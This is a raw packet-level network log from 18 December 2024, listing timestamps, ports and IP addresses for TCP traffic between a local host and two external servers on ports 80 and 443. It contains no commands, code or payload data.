Dec 18, 2024 09:07:32.750261068 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.750312090 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.750356913 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.751194000 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.751246929 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.751276970 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.751324892 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.752227068 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.752273083 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.752397060 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.752439976 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.753216982 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.753381014 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.807718039 CET	443	49722	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:32.807815075 CET	49722	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:32.809195995 CET	49722	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:32.809201002 CET	443	49722	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:32.809391022 CET	443	49722	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:32.826070070 CET	49722	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:32.826848984 CET	49722	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:32.826884985 CET	443	49722	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:32.827550888 CET	49722	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:32.827578068 CET	443	49722	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:32.827950954 CET	49722	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:32.827979088 CET	443	49722	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:32.829605103 CET	49722	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:32.829639912 CET	443	49722	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:32.829772949 CET	49722	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:32.829807043 CET	443	49722	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:32.829956055 CET	49722	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:32.829983950 CET	443	49722	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:32.829993010 CET	49722	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:32.830001116 CET	443	49722	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:32.830169916 CET	49722	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:32.830193996 CET	443	49722	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:32.830215931 CET	49722	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:32.831600904 CET	49722	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:32.831633091 CET	49722	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:32.871335983 CET	443	49722	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:32.871491909 CET	49722	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:32.871524096 CET	443	49722	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:32.871542931 CET	49722	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:32.871561050 CET	443	49722	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:32.871594906 CET	49722	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:32.871609926 CET	443	49722	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:32.891415119 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.891459942 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.891501904 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.891541004 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.891777039 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.891824007 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.891849041 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.891885042 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.892947912 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.893052101 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.893096924 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.893981934 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.894067049 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.894119024 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.895174980 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.895189047 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.895262957 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.895848989 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.895895958 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.895968914 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.896050930 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.896894932 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.896969080 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.897018909 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.897066116 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.897964001 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.898008108 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.898060083 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.898180962 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.898941994 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.899120092 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.899175882 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.899977922 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.900048018 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.900105953 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.901074886 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.901129961 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.901166916 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.901207924 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.902107000 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.902156115 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.902170897 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.902195930 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.902883053 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.902971029 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.902997017 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.903047085 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.903940916 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.904078960 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.904105902 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.904119968 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.904921055 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.905034065 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.905078888 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.905952930 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.906012058 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.906034946 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.906151056 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.907059908 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.907126904 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.907143116 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.907224894 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.908119917 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.908190012 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.908248901 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.909013987 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.909123898 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.909148932 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.909209013 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.910023928 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.910119057 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.910181999 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.911036015 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.911173105 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.911226988 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.912041903 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.912133932 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.912138939 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.912174940 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.913072109 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.913149118 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.913172960 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.913187981 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.914108992 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.914170027 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.914199114 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.914336920 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.915077925 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.915132046 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.915132999 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.915191889 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.916086912 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.916169882 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.916198015 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.916296959 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.917074919 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.917135954 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.917212009 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.917252064 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.918103933 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.918204069 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.918210983 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.918289900 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.919205904 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.919298887 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.919342995 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.919392109 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.920150042 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.920254946 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.920456886 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.921179056 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.921236038 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.921245098 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.921431065 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.922148943 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.922234058 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.922270060 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.922312021 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.923275948 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.923377991 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.923407078 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.923449039 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.924221992 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.924326897 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.924454927 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.925175905 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.925230026 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.925268888 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.925314903 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.926182985 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.926224947 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.926316977 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.926372051 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.927221060 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.927324057 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.927431107 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.928261042 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.928333998 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.928358078 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.928422928 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.929219961 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.929271936 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.929308891 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.929363966 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.930363894 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.930490017 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.930542946 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.930583000 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.931355953 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.931456089 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.931518078 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.931560993 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.932346106 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.932415962 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.932490110 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.933263063 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.933304071 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.933363914 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.933438063 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.934319019 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.934416056 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.934442997 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.934623957 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.935278893 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.935334921 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.935381889 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.935482025 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.936304092 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.936361074 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.936393976 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.936441898 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.937342882 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.937417030 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.937424898 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.937609911 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.938353062 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.938441038 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.938446999 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.938500881 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.939543009 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.939577103 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.939585924 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.939620018 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.940427065 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.940488100 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.940599918 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.940640926 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.941361904 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.941414118 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.941485882 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.941602945 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.942418098 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.942523956 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.942526102 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.942656994 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.943398952 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.943475008 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.943496943 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.943507910 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.944349051 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.944412947 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.082570076 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.082648993 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.082669973 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.083007097 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.083048105 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.083276033 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.083324909 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.084050894 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.084177971 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.084238052 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.085037947 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.085092068 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.085153103 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.085263014 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.086050987 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.086103916 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.086160898 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.086779118 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.087142944 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.087194920 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.087275028 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.087371111 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.088068008 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.088193893 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.088246107 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.089118958 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.089152098 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.089169979 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.089205027 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.090085983 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.090137005 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.090246916 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.090343952 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.091099977 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.091150045 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.091193914 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.091236115 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.092122078 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.092171907 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.092214108 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.092257023 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.093136072 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.093264103 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.093313932 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.094259024 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.094306946 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.094352961 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.094428062 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.095136881 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.095186949 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.095288992 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.095335007 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.096189976 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.096256018 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.096342087 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.097170115 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.097217083 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.097299099 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.097351074 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.098196030 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.098242044 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.098274946 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.098319054 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.099188089 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.099224091 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.099289894 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.099332094 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.100306034 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.100353003 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.100404024 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.100447893 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.101213932 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.101263046 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.101315022 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.101408958 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.102231979 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.102277994 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.102447987 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.102495909 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.103286982 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.103334904 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.103360891 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.103404999 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.104254007 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.104300976 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.104365110 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.104415894 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.105304956 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.105345964 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.105424881 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.105547905 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.106281996 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:33.106338978 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:33.106414080 CET	80	49720	31.41.244.11	192.168.2.8
